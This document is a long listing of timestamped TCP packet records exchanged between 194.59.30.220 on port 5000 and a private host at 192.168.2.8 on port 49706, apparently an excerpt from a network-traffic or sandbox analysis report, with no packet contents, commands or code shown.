Dec 18, 2024 11:56:24.302962065 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.303016901 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.303040028 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.303798914 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.303864002 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.437648058 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.437694073 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.437743902 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.438007116 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.438019991 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.438060045 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.439069033 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.439399004 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.439457893 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.440064907 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.440216064 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.440316916 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.440928936 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.441101074 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.441148996 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.441977024 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.442437887 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.442481995 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.442938089 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.443495035 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.443541050 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.443928957 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.444029093 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.444071054 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.444715977 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.444828033 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.444875002 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.445575953 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.445735931 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.445780993 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.446624041 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.446669102 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.446717978 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.447302103 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.447415113 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.447469950 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.448046923 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.448190928 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.448244095 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.448920965 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.449071884 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.449124098 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.449763060 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.449862003 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.449912071 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.450608015 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.450664043 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.450711012 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.451536894 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.451630116 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.451683044 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.452363968 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.452418089 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.452469110 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.453133106 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.453253984 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.453294992 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.454047918 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.454279900 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.454327106 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.454926968 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.455071926 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.455121994 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.455940962 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.456026077 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.456072092 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.456907034 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.456996918 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.457039118 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.457649946 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.457830906 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.457885027 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.458564043 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.458616018 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.458744049 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.459391117 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.459475040 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.459517956 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.460299969 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.460447073 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.460489988 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.461198092 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.461276054 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.461316109 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.462116957 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.462168932 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.462208986 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.463026047 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.463129044 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.463179111 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.463906050 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.464055061 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.464107990 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.464811087 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.464912891 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.464961052 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.465724945 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.465775967 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.465825081 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.466630936 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.466751099 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.466797113 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.467485905 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.467578888 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.467633963 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.468470097 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.468596935 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.468643904 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.469317913 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.469396114 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.469439030 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.470195055 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.470280886 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.470328093 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.471167088 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.471246004 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.471292973 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.472106934 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.472120047 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.472158909 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.472903013 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.472999096 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.473047972 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.473937035 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.474061966 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.474108934 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.474891901 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.475030899 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.475078106 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.475575924 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.475660086 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.475711107 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.476481915 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.476587057 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.476633072 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.477387905 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.477413893 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.477459908 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.478266001 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.478362083 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.478419065 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.479294062 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.479440928 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.479487896 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.480259895 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.480370998 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.480417967 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.481261015 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.481435061 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.481503963 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.492748976 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.492938042 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.493005037 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.493127108 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.493189096 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.493233919 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.494046926 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.494127035 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.494179964 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.494934082 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.542233944 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.629493952 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.629514933 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.629586935 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.629731894 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.629862070 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.629904032 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.630671024 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.630690098 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.630853891 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.631489992 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.631539106 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.631586075 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.632860899 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.633095980 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.633147955 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.634229898 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.634453058 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.634500027 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.635443926 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.635678053 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.635746956 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.636610985 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.636739016 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.636794090 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.637557983 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.637681007 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.637734890 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.638376951 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.638446093 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.638497114 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.639117956 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.639158010 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.639205933 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.640037060 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.640108109 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.640160084 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.640866041 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.640968084 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.641021013 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.641621113 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.641722918 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.641771078 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.642494917 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.642594099 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.642640114 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.643193960 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.643286943 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.643367052 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.644193888 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.644352913 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.644407034 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.645108938 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.645283937 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.645333052 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.646045923 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.646110058 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.646157980 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.646991014 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.647083044 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.647130966 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.647967100 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.648078918 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.648124933 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.648827076 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.648958921 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.649013042 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.649745941 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.649835110 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.649882078 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.650655985 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.650775909 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.650824070 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.651644945 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.651689053 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.651732922 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.652556896 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.652689934 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.652739048 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.653506041 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.653681993 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.653734922 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.654337883 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.654397964 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.654448986 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.654973984 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.655059099 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.655107021 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.655632973 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.655690908 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.655739069 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.656291008 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.656378984 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.656428099 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.657046080 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.657105923 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.657162905 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.657711029 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.657809973 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.657856941 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.658334017 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.658415079 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.658463001 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.659216881 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.659348011 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.659398079 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.660114050 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.660202026 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.660244942 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.661031008 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.661107063 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.661155939 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.661761045 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.661839962 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.661889076 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.662498951 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.662601948 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.662710905 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.663254023 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.663275003 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.663326979 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.664041042 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.664107084 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.664155960 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.664916992 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.664989948 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.665036917 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.665745020 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.665836096 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.665884018 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.666704893 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.666811943 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.666858912 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.667557955 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.667709112 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.667753935 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.668443918 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.668579102 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.668634892 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.669401884 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.669523954 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.669576883 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.670264959 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.670341969 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.670394897 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.671188116 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.671279907 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.671333075 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.672014952 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.672112942 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.672163010 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.683927059 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.684012890 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.684062958 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.684297085 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.684433937 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.684487104 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.685285091 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.685435057 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.685483932 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.686135054 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.729693890 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.820437908 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.820542097 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.820622921 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.820810080 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.820828915 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.820873022 CET	49706	5000	192.168.2.8	194.59.30.220
